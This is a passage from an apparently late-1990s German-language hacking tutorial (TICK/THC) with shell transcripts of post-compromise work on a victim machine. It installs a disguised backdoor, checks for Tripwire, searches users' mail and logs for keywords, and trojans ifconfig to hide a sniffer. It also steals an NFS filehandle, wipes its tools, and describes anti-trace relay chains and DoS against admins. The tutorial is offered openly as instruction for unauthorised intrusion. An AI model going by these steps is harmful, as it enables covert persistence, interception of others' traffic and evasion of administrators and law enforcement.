- Zeile zurueckzuschieben und deine Entries mehrmals mit anderen Kram zu
- ueberschreiben. Ich hab's noch nie ausprobiert und ueberlasse es deiner
- Phantasie und deinem Koennen das Problem zu loesen.
- <br>Mehr 'Glueck' hat man da schon, wenn die Daten auf einen extra Loghost
- gehen (du kannst nur beten, das sie nicht einfach eine Serielle-Verbindung
- benutzen); den du dann natuerlich hacken musst; oder es besser sein laesst,
- weil du dadurch nur die Aufmerksamkeit der Admins auf dich ziehst.
- <br>Die ganz paranoiden unter euch (was nicht unbedingt schlecht ist) sollten
- noch <b>identd</b> ersetzen; der TCP-Wrapper, Firewalls, etc benutzen <b>identd</b>
- um den Usernamen auf dem Remote Host zu eruieren.
- <p><font color="#FF0000">bash# cd /tmp/".. "</font>
- <br><font color="#FF0000">bash# tar xf smeagol_v4.4.4.tar</font>
- <br><font color="#FF0000">bash# cd V4.4.4</font>
- <br><font color="#FF0000">bash# make</font>
- <br><font color="#FF0000">cp smeagol.h.gen smeagol.h</font>
- <br><font color="#FF0000">make -f Makefile.gen</font>
- <br><font color="#FF0000">make[1]: Entering directory `/tmp/.. /V4.4.4'</font>
- <br><font color="#FF0000">cc -c cmds.c</font>
- <br><font color="#FF0000">cc -DGENERIC -c remove.c</font>
- <br><font color="#FF0000">cc -c stdnet.c error.c</font>
- <br><font color="#FF0000">cc -c smeagol.c</font>
- <br><font color="#FF0000">cc -c tty-intruder.c</font>
- <br><font color="#FF0000">cc -c auth.c</font>
- <br><font color="#FF0000">cc -c ah.c</font>
- <br><font color="#FF0000">cc -c strhide.c</font>
- <br><font color="#FF0000">cc -O2 -o smeagol cmds.o remove.o stdnet.o error.o
- smeagol.o tty-intruder.o auth.o ah.o strhide.o</font>
- <br><font color="#FF0000">strip smeagol</font>
- <br><font color="#FF0000">make[1]: Leaving directory `/tmp/.. /V4.4.4'</font>
- <br><font color="#FF0000">bash# mv smeagol "netstat
- "</font>
- <br><font color="#FF0000">bash# ./netstat*</font>
- <br><font color="#FF0000">LOCK<-KEY:</font>
- <br><font color="#FF0000">bash# telnet</font>
- <br><font color="#FF0000">telnet> o localhost 1524</font>
- <br><font color="#FF0000">Trying 127.0.0.1...</font>
- <br><font color="#FF0000">Connected to localhost.</font>
- <br><font color="#FF0000">Escape character is '^]'.</font>
- <p><font color="#FF0000">hixer</font>
- <p><font color="#FF0000"><font size=+4>WELCOME</font></font>
- <br><font color="#FF0000"><font size=+4>CYBERSPAWN</font></font>
- <br>
- <p><font color="#FF0000">[/] Simon says: helpme</font>
- <br><font color="#FF0000">bye
- : close Session</font>
- <br><font color="#FF0000">remove <user> :
- starts Simple Nomad's LogCleaner</font>
- <br><font color="#FF0000">maskas <user> :
- mask Process with EUID of <user></font>
- <br><font color="#FF0000">cd <direc>
- : make a chdir() call</font>
- <br><font color="#FF0000">ttyhij <tty>
- : hijack a TTY session</font>
- <br><font color="#FF0000">accth
- : Start Zhart's Acct Handler (not available)</font>
- <br><font color="#FF0000">helpme
- : You guessed it right...</font>
- <p><font color="#FF0000">
- Smeagol was written by</font>
- <br><font color="#FF0000">
- TICK</font>
- <br>
- <p><font color="#FF0000">[/] Simon says: bye</font>
- <br><font color="#FF0000">Bye</font>
- <br>
- <p><font color="#FF0000">Connection closed by foreign host.</font>
- <br><font color="#FF0000">bash#</font>
- <p><font color="#000000">Um uns den Remote-Zugang zum System zu erhalten
- benutzen wir einen Backdoor-Server.</font>
- <br><font color="#000000">Falls ich einen Backdoor-Server verwende benutze
- ich meinen eigenen. </font>Smeagol ist sehr gut darin seine Existenz
- <br>zu verschleiern aber leider laeuft er bisher nur auf AIX und Linux.
- Fuer andere Systeme koennen z.B. simple Perl-Backdoors benutzt werden oder
- portiere Smeagol einfach zu 'nem anderen Unix-Derivat und sende mir dann
- bitte deine Version.
- <br>Nunja, am Betsen ist es natuerlich ein Backdoor-LKM zu verwenden, aber
- es ist schwer an die noetigen Informationen fuer die verschieden Unix-Abkoemmlinge
- zu gelangen - frag' mal in den News rum.
- <br>Es ist sehr wichtig, dass du vor der Installation den genauen Pfad
- zu den Logfiles, das Passwort und die richtigen Namen fuer die Daemons,
- fuer die sich Smeagol ausgeben soll, angibst. Falls auf dem System das
- <i>Process-Accounting
- </i>aktiviert
- worden ist musst du auch dafuer die entsprechenden Aenderungen im Source-Code
- und im Makefile machen.
- <br>Zum Aendern der verschluesselten Strings solltest du <b>convert</b>
- benutzen. Als XOR-Value (F1) musst du den Default-XOR-Wert angeben, der
- als Define in 'strhide.h' verwendet wird. Der Output muss gefixt werden
- (F3).
- <br>Ich habe Smeagol nach <font color="#000000">"netstat
- " ge'movet um argv[0] gross genug zu machen, damit beim Ueberschreiben
- der Process-Tableeintraege nicht die hinteren Buchstaben abgeschnitten
- werden, und desweiteren sieht der Aufruf von <b>netstat</b> ungefaehrlicher
- aus als der Aufruf von <b>smeagol </b>- spez. beim Proc-Acct.</font>
- <p><font color="#FF0000">bash# cd /var/cron/tabs</font>
- <br><font color="#FF0000">bash# ls -al</font>
- <br><font color="#FF0000"> total 3</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 25 11:56
- ./</font>
- <br><font color="#FF0000">drwx------ 3 root
- root 1024 May 28 20:57
- ../</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 258 Jan 25 11:56
- root</font>
- <br><font color="#FF0000">bash# cat root</font>
- <br><font color="#FF0000"># DO NOT EDIT THIS FILE - edit the master and
- reinstall.</font>
- <br><font color="#FF0000"># (/tmp/crontab.326 installed on Sat Jul 25 11:56:24
- 1998)</font>
- <br><font color="#FF0000"># (Cron version -- $Id: crontab.c,v 2.13 1994/01/17
- 03:20:37 vixie Exp $)</font>
- <br><font color="#FF0000">#</font>
- <br><font color="#FF0000"># run Tripwire at 3.00 pm every day</font>
- <br><font color="#FF0000">00 15 * * * (/root/bin/runtw)</font>
- <br><font color="#FF0000">bash# cd /root/bin</font>
- <br><font color="#FF0000">bash# file runtw</font>
- <br><font color="#FF0000">runtw: Bourne shell script text</font>
- <br><font color="#FF0000">bash# cat runtw</font>
- <br><font color="#FF0000">#!/bin/sh</font>
- <br><font color="#FF0000">/bin/mount -r -t ext2 -v /dev/fd0 /fd0/tripwire
- || exit 1</font>
- <br><font color="#FF0000">/fd0/tripwire/bin/tripwire</font>
- <br><font color="#FF0000">/bin/umount /dev/fd0</font>
- <p><font color="#FF0000">exit 0</font>
- <br><font color="#FF0000">bash# mount -t ext2 /dev/fd0 /mnt</font>
- <br><font color="#FF0000">mount: block device /dev/fd0 is write-protected,
- mounting read-only</font>
- <br><font color="#FF0000">/dev/fd0 on /mnt type ext2 (ro)</font>
- <br><font color="#FF0000">bash# cd /mash# cd /mnt</font>
- <br><font color="#FF0000">bash# ls -al</font>
- <br><font color="#FF0000">drwx------ 5 root
- root 1024 Jul 29
- 1997 .</font>
- <br><font color="#FF0000">drwxr-xr-x 4 root
- root 1024 Jul 29
- 1997 ..</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 23 13:40
- Config</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 23 13:34
- Databases</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 23 13:57
- bin</font>
- <br><font color="#FF0000">bash# ls -alR .</font>
- <br><font color="#FF0000">total 5</font>
- <br><font color="#FF0000">drwx------ 5 root
- root 1024 Jul 29
- 1997 .</font>
- <br><font color="#FF0000">drwxr-xr-x 4 root
- root 1024 Jul 29
- 1997 ..</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 23 13:40
- Config</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 23 13:34
- Databases</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 23 13:57
- bin</font>
- <p><font color="#FF0000">Config:</font>
- <br><font color="#FF0000">total 4</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 23 13:40
- .</font>
- <br><font color="#FF0000">drwx------ 5 root
- root 1024 Jul 29
- 1997 ..</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 387 Jul 23 13:34
- tw.config</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 387 Jul 23 13:40
- tw.config.bak</font>
- <p><font color="#FF0000">Databases:</font>
- <br><font color="#FF0000">total 2</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 23 13:34
- .</font>
- <br><font color="#FF0000">drwx------ 5 root
- root 1024 Jul 29
- 1997 ..</font>
- <p><font color="#FF0000">bin:</font>
- <br><font color="#FF0000">total 425</font>
- <br><font color="#FF0000">drwx------ 2 root
- root 1024 Jul 23 13:57
- .</font>
- <br><font color="#FF0000">drwx------ 5 root
- root 1024 Jul 29
- 1997 ..</font>
- <br><font color="#FF0000">-rwxr-xr-x 1 root
- root 128745 Jul 23 13:45 tripwire</font>
- <br><font color="#FF0000">-rw-r--r-- 1 root
- root 299814 Jul 29 1997 tripwire-1.2.tar.gz</font>
- <br><font color="#FF0000">bash# cd Config</font>
- <br><font color="#FF0000">bash# cat tw.config</font>
- <br><font color="#FF0000"># Check root's binaries</font>
- <br><font color="#FF0000">/root/bin</font>
- <p><font color="#FF0000"># Check TripWire's Database-, Config- and TAR-File</font>
- <br><font color="#FF0000">/fd0/tripwire</font>
- <p><font color="#FF0000"># Check System-Files and -Binaries</font>
- <br><font color="#FF0000">/etc/passwd</font>
- <br><font color="#FF0000">/etc/skel</font>
- <br><font color="#FF0000">/etc/aliases</font>
- <br><font color="#FF0000">/etc/exports</font>
- <br><font color="#FF0000">/etc/fstab</font>
- <br><font color="#FF0000">/etc/ftpusers</font>
- <br><font color="#FF0000">/etc/group</font>
- <br><font color="#FF0000">/etc/hosts</font>
- <br><font color="#FF0000">/etc/inetd.conf</font>
- <br><font color="#FF0000">/etc/inittab</font>
- <br><font color="#FF0000">/etc/lilo.conf</font>
- <br><font color="#FF0000">/etc/profile</font>
- <br><font color="#FF0000">/etc/sendmail.cf</font>
- <br><font color="#FF0000">/etc/sudoers</font>
- <br><font color="#FF0000">/etc/syslog.conf</font>
- <br><font color="#FF0000">/bin</font>
- <br><font color="#FF0000">/usr/bin</font>
- <br><font color="#FF0000">/usr/local/bin</font>
- <br><font color="#FF0000">bash#</font>
- <p><font color="#000000">Bevor wir irgendwelche Files ersetzen oder aendern
- sollten wir ueberpruefen ob die Admins einen Integry-Checker zum Schutz
- vor Trojan-Horses etc. einsetzen. Auf diesem Rechner ist das der Fall.
- Grundsaetzlich kann ich nur sagen, dass du niemals so sicherheitsrelevante
- Files, wie z.B. '/etc/passwd' oder '/etc/inetd.conf', veraendern solltest;
- egal wie clever du vorgehst, die Admins werden es immer entdecken und meistens
- eher frueher als spaeter. Dasselbe gilt fuer SUID-Shells. Ich kann auch
- nur davon abraten die Tripwire-DB zu manipulieren, was in diesem Fall auch
- garnicht moeglich ist, da sich die DB auf 'ner write-protected Floppy befindet.</font>
- <br><font color="#000000">Natuerlich koenntest du fuer Linux die weit verbreiteten
- Loadable-Kernel-Modules (LKMs) verwenden um die Syscalls zu verbiegen,
- damit du dein Trojan-Horse in den Kernel verlegst, oder spez. fuer Tripwire,
- die Zugriffe auf die geschuetzten Files manipulierst. Ich halte solche
- Eingriffe in das System fuer zu Aufwendig und folglich Auffaellig. Was
- mir hingegen gefaellt sind gute LKMs, die die Praesenz von bestimmten Dingen,
- wie Files, User, LKMs etc, verbergen. Mit soeinem 'Hide-LKM' ist es dann
- auch moeglich SUID-Shell im System zu verschtecken.</font>
- <p><font color="#FF0000">bash# cd /tmp/".. "</font>
- <br><font color="#FF0000">bash# cat > wl.mail</font>
- <br><font color="#FF0000">hacker</font>
- <br><font color="#FF0000">cracker</font>
- <br><font color="#FF0000">intrusion</font>
- <br><font color="#FF0000">security</font>
- <br><font color="#FF0000">break-in</font>
- <br><font color="#FF0000">hack</font>
- <br><font color="#FF0000">password</font>
- <br><font color="#FF0000">login</font>
- <br><font color="#FF0000">account</font>
- <br><font color="#FF0000">tripwire</font>
- <br><font color="#FF0000">integry</font>
- <br><font color="#FF0000">sniffer</font>
- <br><font color="#FF0000">cpm</font>
- <br><font color="#FF0000">ifconfig</font>
- <br><font color="#FF0000">military</font>
- <br><font color="#FF0000">.ml</font>
- <br><font color="#FF0000">.gov</font>
- <br><font color="#FF0000">^C</font>
- <br><font color="#FF0000">bash# cat > wl.log</font>
- <br><font color="#FF0000">source.ass</font>
- <br><font color="#FF0000">johnny</font>
- <br><font color="#FF0000">^C</font>
- <br><font color="#FF0000">bash# ./searcher -vvv -rnf -m wl.mail -l wl.log
- > s.res &</font>
- <br><font color="#FF0000">[1] 454</font>
- <br><font color="#FF0000">bash#</font>
- <p>Searcher sucht nun nach den angegeben Wortern in den E-Mails der
- User bzw. in den Syslog-Files (doppelt haelt besser) und zuseatzlich verschafft
- es uns weitere Informationen, die uns den Zugang zu anderen Systemen ermoeglichen
- koennen.
- <br>Searcher ist auch sehr nuetzlich, wenn du Informationen ueber ganz
- bestimmte Sachen suchst, z.B. ueber irgendwelche Forschungs-Projekte, die
- sich natuerlich mit Internet-Security & Co. beschaeftigen, oder wenn
- du Daten ueber deine Noten im Verwaltungs-Server deiner Uni suchst ;).
- Um die Suche etwas zu beschleunigen kannst du dich nur auf ausgewaehlte
- Gruppen von Usern beschraenken.
- <br>Am besten ist es wenn du Searcher schon frueh startest, da er viel
- Zeit benoetigt.
- <br>Das Resultat von Searcher's Arbeit kannst du am besten mit 'gzip --best'
- komprimieren, mit 'uuencode' ausgeben lassen und nach dem Hack aus deinen
- Logs extrahieren um es zu analysieren.
- <p>Jetzt ist der richtige Zeitpunkt gekommen um sich um die Admins zu kuemmern.
- <br>Du solltest dir von jedem Admin das Home-Direc. angucken, dein Augenmerk
- sollte dabei auf das Bin-Direc. und das History-File fallen (SSH-, PGP-Keys
- und .Xauthority Files solltest du dir als Bonus mitnehmen). Du wirst mit
- Sicherheit weitere Securitytools, wie z.B. <b>cpm</b> (<i>Promiscuous-Mode</i>
- Checker), finden, und das History-File gibt dir Auskunft ueber das Verhalten
- der Admins, z.B.: auf welchen Rechner sie arbeiten, ob sie das root-Passwort
- kennen, welche Befehle sie ausfuehren und demnach welche Aufgaben sie haben.
- <br>Wenn Admins haeufig <b>su</b> ausfuehren und dabei nicht den vollen
- Path angeben sind sie ein perfektes Ziel fuer spaetere PATH/Trojan-Horse
- Attacken.
- <p><font color="#FF0000">bash# which ifconfig</font>
- <br><font color="#FF0000">/sbin/ifconfig</font>
- <br><font color="#FF0000">bash# cd /tmp/".. "</font>
- <br><font color="#FF0000">bash# fix /sbin/ifconfig ./ifconfig ./ic.bak</font>
- <br><font color="#FF0000">fixer: Last 17 bytes not zero</font>
- <br><font color="#FF0000">fixer: Can't fix checksum</font>
- <br><font color="#FF0000">bash# showmount -e localhost</font>
- <br><font color="#FF0000">/cdrom pc-01.pool.domain.com</font>
- <br><font color="#FF0000">bash# mv linsniffer nfsiod</font>
- <br><font color="#FF0000">bash# export PATH=.:$PATH</font>
- <br><font color="#FF0000">bash# nfsiod</font>
- <p><font color="#000000">Als letztes installieren wir noch unseren <i>Ethernet-Sniffer</i>.
- Wir ersetzen <b>ifconfig</b> mit einer modifizierten Version, die nicht
- anzeigt ob eine Netzwerkarte in den <i>Promiscuous-Mode </i>geschalltet
- ist. Falls ein Admin <b>cpm</b> o.ae. benutzt, solltest du es ebenfalls
- ersetzen - aber denke immer an Integry-Checker, in diesem Fall ist '/sbin'
- nicht Teil der Tripwire-DB. Auf hochsicheren Rechnern wuerde ich niemals
- Prog.s ersetzen, da die Wahrscheinlichkeit hoch ist, dass sich doch irgendwo
- ein Integry-Checker verbirgt, den man uebersehen hat (im Fall des Sniffers
- waere es denkbar ein LKM in den Kernel zu laden um den <i>ioctl()</i> Systemcall
- zu verbiegen und das PROMISC Flag nicht mehr anzuzeigen).</font>
- <br><font color="#000000">Frueher wurde haeufig das Prog. <b>sum</b> fuer
- die Checksum-Erstellung benutzt, leider (?) erstellt <b>sum</b> kryptographisch
- unsichere Hashwerte. Das Tool <b>fix</b>/<b>fixer</b> nutzt diesen 'Fehler'
- aus, ich habe es hier nur verwendet, weil es die Zeiten anpasst und ein
- Backup erstellt. Da <b>sum</b> so gut wie garnicht mehr benutzt wird ist
- es auch nicht wichtig, dass die Checksum nicht gefixt wurde, falls du es
- aber doch besser findest, dann haenge einfach ein paar Nullen an dein Trojan-Horse
- undzwar wie folgt</font>
- <br><font color="#FF0000">bash# cat /dev/zero >> ./ifconfig</font>
- <br><font color="#FF0000">^C</font>
- <br><font color="#000000">Anschliesend starten wir den Sniffer nachdem
- wir ihm einen unauffaelligen Namen verpasst haben. Wenn der Admin irgendein
- Verzeichnis exportiert, das jedermann mounten kann, dann solltest du dein
- Snifflog-File dorthin schreiben lassen. Aber ich bevorzuge die </font>Collector-Library
- oder noch besser, insbesondere bei Firewalls, die ICMP-Tunnel-Library
- .
- <br>Kleine Anekdote: Ich hab' mal 'ne Zeit lang meine Snifferlogs via ICMP-Tunnel
- von 'nem Bastion-Host zu 'nem auslaendischen Rechner 'geschmuggelt'; es
- funktionierte wunderbar und wurde nicht endeckt.
- <p><font color="#FF0000">bash# mount</font>
- <br><font color="#FF0000">/dev/hda4 on / type ext2 (rw)</font>
- <br><font color="#FF0000">proc on /proc type proc (rw)</font>
- <br><font color="#FF0000">/dev/hda1 on /dos type msdos (rw)</font>
- <br><font color="#FF0000">/dev/hda2 on /tmp type ext2 (rw)</font>
- <br><font color="#FF0000">nfsserver:/nfs_mnt/usr on /usr type nfs (ro,intr,addr=10.255.0.34)</font>
- <p><font color="#FF0000">bash# showmount -e nfsserver</font>
- <br><font color="#FF0000">Export list for nfsserver:</font>
- <br><font color="#FF0000">/nfs_mnt/usr victim.domain.com</font>
- <br><font color="#FF0000">[...]</font>
- <p><font color="#FF0000">bash# askhandle nfsserver /nfs_mnt/usr > nfsserver-nfs_mnt.filehandle</font>
- <br><font color="#FF0000">bash# cat nfsserver-nfs*</font>
- <br><font color="#FF0000">nfsserver /nfs_mnt 1e 91 13 52 01 50 00 00 02
- 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</font>
- <p>Jetzt, wo wir root Rechte besitzen koennen wir uns weitere Informationen
- beschaffen, die uns den Weg zurueck ins Netz ermoeglichen koennen. Was
- hier etwas kryptisch aussieht ist nichts weiter als das NFS-Filehandle
- fuer das Verzeichnis <font color="#33FF33">/nfs_mnt</font> des NFS-Servers
- nfsserver. Mit Hilfe dieser Zahlenfolge und eines netten Programms namens
- <b>nfsmenu</b>
- ist es uns nun moeglich das Directory <font color="#33FF33">/nfs_mnt</font>
- von ueberallher zu mounten.
- <p><font color="#FF0000">bash# cd /tmp/".. "</font>
- <br><font color="#FF0000">[1]+ Done
- searcher</font>
- <br><font color="#FF0000">bash# gzip --best s.res</font>
- <br><font color="#FF0000">bash# uuencode s.res.gz s.res.gz</font>
- <br><font color="#FF0000">[...]</font>
- <br><font color="#FF0000">bash# gcc -o rm srm.c</font>
- <br><font color="#FF0000">bash# rm -vss ./*</font>
- <br><font color="#FF0000">Deleting ifconfig *************************************
- Done</font>
- <br><font color="#FF0000">[...]</font>
- <br><font color="#FF0000">bash# cd ..</font>
- <br><font color="#FF0000">bash# rm -r ".. "</font>
- <br><font color="#FF0000">bash# ls -altr ~root</font>
- <br><font color="#FF0000">[...]</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 90803 Jan 23 11:26 .fvwm2rc</font>
- <br><font color="#FF0000">drwxr-xr-x 3 root
- root 2048 Jan 23 13:57
- bin</font>
- <br><font color="#FF0000">drwxr-xr-x 22 root
- root 1024 Jan 25 11:55
- ..</font>
- <br><font color="#FF0000">drwx--x--x 35 root
- root 4096 Jan 26 09:11
- .</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 150 Jan 26 09:11
- .Xauthority</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 280 Jan 26 09:12
- .xsession-errors</font>
- <br><font color="#FF0000">drwx------ 5 root
- root 1024 Jan 26 09:17
- .netscape</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 441 Jun 5 13:14
- .bash_history</font>
- <br><font color="#FF0000">-rw------- 1 root
- root 85 Jan
- 5 13:50 .xlockmessage</font>
- <br><font color="#FF0000">bash# exit</font>
- <br><font color="#FF0000">victim% cd</font>
- <br><font color="#FF0000">victim% pwd</font>
- <br><font color="#FF0000">/home/johnny</font>
- <br><font color="#FF0000">victim% ls -altr</font>
- <br><font color="#FF0000">[...]</font>
- <br><font color="#FF0000">-rw-r--r-- 1 test
- users 3324 Dec 11 1997
- .emacs</font>
- <br><font color="#FF0000">drwx------ 2 test
- users 1024 May 28 20:57 .grok</font>
- <br><font color="#FF0000">drwxr-xr-x 2 test
- users 1024 May 28 20:57 .hotjava</font>
- <br><font color="#FF0000">drwx------ 2 test
- users 1024 May 28 20:57 .seyon</font>
- <br><font color="#FF0000">drwxr-xr-x 2 test
- users 1024 May 28 20:57 .xfm</font>
- <br><font color="#FF0000">drwxr-xr-x 5 root
- root 1024 Jun 6 19:15 ..</font>
- <br><font color="#FF0000">drwxr-xr-x 6 test
- users 1024 Jun 6 19:15 .</font>
- <br><font color="#FF0000">victim% exit</font>
- <br><font color="#FF0000">exit</font>
- <br><font color="#FF0000">victim:/home/johhny > exit</font>
- <br><font color="#FF0000">logout</font>
- <br><font color="#FF0000">Connection closed by forign host.</font>
- <br><font color="#FF0000">source ></font>
- <p><font color="#000000">Zum Schluss wipen wir unsere Tools von der HD,
- damit sie nicht durch einfaches Raw-Reading oder <i>Magnetic Force
- Microscopy</i> (<i>MFM</i>) o. ae. wieder hergestellt werden koennen, und
- vergewissern uns, dass wir in den Home-Direc., in denen wir rumgewurschtelt
- haben, keine kompromitierenden Files hinterlassen.</font>
- <br><font color="#000000">Mit Sicherheit koennte noch einiges verbessert
- werden, versuch's und entwickel so deinen eigenen Style.</font>
- <p>Lege dir ein Art Datenbank mit allen noetigen Information ueber deine
- gehackten Rechner an sonst verlierst du irgendwann den Ueberblick (natuerlich
- encrypted).
- <br>
- <p><a NAME="a9"></a>
- <h3>
- <font color="#993399">Persoenliche Sicherheit</font></h3>
- Es ist natuerlich klar, dass du deine Daten auf der HD mit CFS
- bzw. SFS und deine E-Mail mit PGP verschluesselts,
- Ramdisks benutzt, Backups deiner wichtigsten Daten auf Tape/CDs nicht zuhause
- lagerst, deinen realen Namen nicht weitergibst usw... dieser Kram soll
- nicht Bestandteil dieses Abschnitts sein, ich moechte lieber ueber eine
- sichere Konfiguration sprechen, die dich beim Hacken schuetzt und vorwarnt
- wenn dich jemand verfolgt.
- <p>Ich werde hier die Methode beschreiben, die ich persoenlich anwende.
- <center><img SRC="test.jpg" height=546 width=800></center>
- Als Einwahltpunkt dient mir eine grosse Uni mit vielen Usern oder ein grosser
- ISP. Ich verwende <i>PPP</i> statt normale Terminalprogramme um eine groessere
- Kontrolle ueber meine Verbindung zu haben und weil es vom Vorteil ist ueber
- eine Leitung mehrere Sessions - Telnet, FTP - laufen zu lassen.
- <br>Ein kleinerer Rechner dient mir als Firewall und Router, ich baue die
- <i>PPP</i>-Verbindung
- zu meinem Einwahlpunkt auf und ueberwache alle eingehenden Pakete. Desweiteren
- stelle ich mit <i>SSH</i> eine Connection zum Einwahlrechner her um periodisch
- alle eingeloggten User und Netzwerkverbindungen zu verfolgen (was natuerlich
- nur funktioniert, wenn der Einwahlrechner eine Unix-Maschine ist und kein
- Terminalserver o.ae.). Es ist sehr interessant zu sehen, was ein Admin
- alles macht, wenn er merkt, dass etwas nicht mit rechten Dingen auf seiner
- Maschine vorgeht. Sobald mir solche Sondierungen/Untersuchungen auffallen
- breche ich die Verbindung sofort ab, falls ich mich aber gerade in einer
- kritischen Lage befinde muss ich DoS-Attacken benutzen oder den Admin aussperren
- um seine Arbeit zu verlangsamen bzw. zu verhindern. Auf dem Einwahlrechner
- ist es nicht noetig seine Gegenwart zu verschleiern, es ist besser unauffaellig
- in der Masse unterzutauchen als irgenwelche Logs zu manipulieren.
- <br>Der zweite, groessere Rechner ist meine Workstation, von hier aus baue
- ich eine <i>SSH</i>-Verbindung zum ersten <i>Anti-Trace Rechner</i> auf.
- Dieser <i>Anti-Trace Rechner </i>wechselt regelmaessig, liegt im Ausland
- und ich hab' volle Kontrolle ueber ihn. Von hier aus gehe ich ueber ein
- weiteren <i>Anti-Trace Rechner </i>zu meinem <i>Hacking-Rechner</i>; auch
- hier habe ich natuerlich ´root´-Rechte, der zweite <i>AT-Rechner
- </i>ist
- nur ein einfacher <i>TCP-Relay</i>, damit erspare ich mir den Stress mit
- den Logfiles etc. Vom <i>Hacking-Rechner </i>gehe ich in sehr sichere Domains
- oder hacke von hier aus neue Netzwerke (es existieren selbstverstaendlich
- mehrere dieser Rechner, die zudem unregelmaessig gewechselt werden). Zum
- Scannen benutze ich einen eigens dafuer gehackten Rechner, die Scanner
- sind hier alle gut versteckt und zusaetzlich mit <i>3DES</i> verschluesselt.
- <p>Die verschluesselten <i>SSH </i>Verbindung sind noetig, damit die Admins/Bullen/Geheimdienste
- nicht meine Aktivitaeten am Einwahlpunkt (oder sonstwo) mitschneiden koennen.
- <p>Falls du nur einen Rechner zur Verfuehgung hast, dann kannst du dich
- natuerlich auch mit der Firewall von Linux/FreeBSD/OpenBSD auf deiner Workstation
- schuetzen. Es ist jedoch kompfortabler die Verbindung ueber einen speziellen
- Computer zu beobachten (ich weiss nicht inwiefern Linux und Co. einen zweiten
- Monitor an einem Rechner unterschtuetzt).
- <p>Zusaetzlich solltest du noch deinen Kernel patchen, damit er dir mehr
- informationen ueber eingehende Pakete liefert, somit bist du in der Lage
- die Herkunft (leider nicht immer;) von DoS Attacken, Source-Routing Angriffe,
- Traceroutes etc. zu erkennen.
- <br>
- <p><a NAME="a10"></a>
- <h3>
- <font color="#993399">Letzte Worte</font></h3>
- <font color="#000000">Ich hoffe, der Text konnte dir einen guten Ueberblick
- zum Thema Internet-Hacking geben.</font>
- <br><font color="#000000">Vielleicht ist dir aufgefallen, dass ich nicht
- die Verwendung von irgnedwelchen Exploits und Hacking-Tools beschrieben
- habe, das hat einen einfachen Grund, undzwar moechte ich keine Skript Kiddies
- heranzuechten, sondern nur einen leichten Einstieg fuer die wirklich interessierten
- Leute unter euch bieten - warum das Rad staendig neu erfinden!?</font>
- <br><font color="#000000">Und vergiss nicht: Hacken ist nicht der Nexus...
- denk' auch mal an's nicht digitale Leben - Frauen, Parties, ...</font>
- <br>
- <br>
- <h3>
- <a NAME="a10"></a></h3>
- <h3>
- <font color="#993399">Wichtige Links</font></h3>
- <a href="http://www.false.com/security">http://www.false.com/security</a>
- <br> <a href="http://www.insecurity.org/nmap">http://www.insecurity.org/nmap</a>
- <br> <b><a href="http://www.thc.org">http://www.thc.org</a></b>
- [die THC Hauptseite - unbedingt besuchen! ;-) Hier gibts auch die Updates
- fuer diesen Artikel]
- <br> <a href="http://www.secunet.com">http://www.secunet.com</a>
- <br> <a href="http://geek-girl.com/bugtraq">http://geek-girl.com/bugtraq</a>
- <br> <a href="http://rootshell.com">http://rootshell.com</a>
- <br> <a href="http://rootshell.com/doc">http://rootshell.com/doc</a>
- <br> <a href="http://www.sparc.com/charles/security.html">http://www.sparc.com/charles/security.html</a>
- <br> <a href="http://command.com.inter.net/~sod/">http://command.com.inter.net/~sod/</a>
- <br> <a href="http://www.phrack.com">http://www.phrack.com</a>
- <br> <a href="http://www.cs.purdue.edu/coast/">http://www.cs.purdue.edu/coast/</a>
- <br> <a href="http://www.pilot.net/security-guide.html">http://www.pilot.net/security-guide.html</a>
- <br> <a href="http://underground.org/">http://underground.org/</a>
- <br> <a href="http://www.l0pht.com">http://www.l0pht.com</a>
- <br> <a href="http://www.infonexus.com">http://www.infonexus.com/~deamon9</a>
- <br> <a href="http://www.cert.org">http://www.cert.org</a>
- <br> <a href="http://www.cert.dfn.de">http://www.cert.dfn.de</a>
- <br><a href="ftp://ftp.blip.pp.se/pub/cracking"> ftp.blib.pp.se/pub/cracking</a>
- alot of tools and exploits!!!!
- <p>
- <hr WIDTH="100%">
- <br>
- <center>
- <h3>
- <b><blink><font size=+2>This is the End my Friend</font></blink></b></h3></center>
- <center>
- <p><br><b>All my Love to:</b>
- <br><font color="#3333FF"><font size=+1>My lovely Girl - You are my Sun!</font></font>
- <br>my best Friend #1
- <br>my best Friend #2
- <br>Sir Fredde Richard - "Two Bud and a chessgame, please."
- <p><b>Greets to:</b>
- <br>van Hauser
- <br>Fr00dy
- <br>Salpeter
- <br>The Lord o/t Hardschool - I hope you are not in trouble.
- <br>stanly
- <br>Zonk
- <br>THC/ADM/dEEP
- <br>JEVER, Budweiser-, Paulaner- and Sol-Brewery - Stop selling your beer!
- I´m addicted! ;)
- <p><b>Hate goes to:</b>
- <br>all politicans
- <br>all religions of this fucking world
- <br>all clocks - I'm the real TICK!</center>
- <p><br>
- <center>
- <h1>
- <font color="#33FF33"><font size=+4>TICK / THC</font></font></h1></center>
- </body>
- </html>
|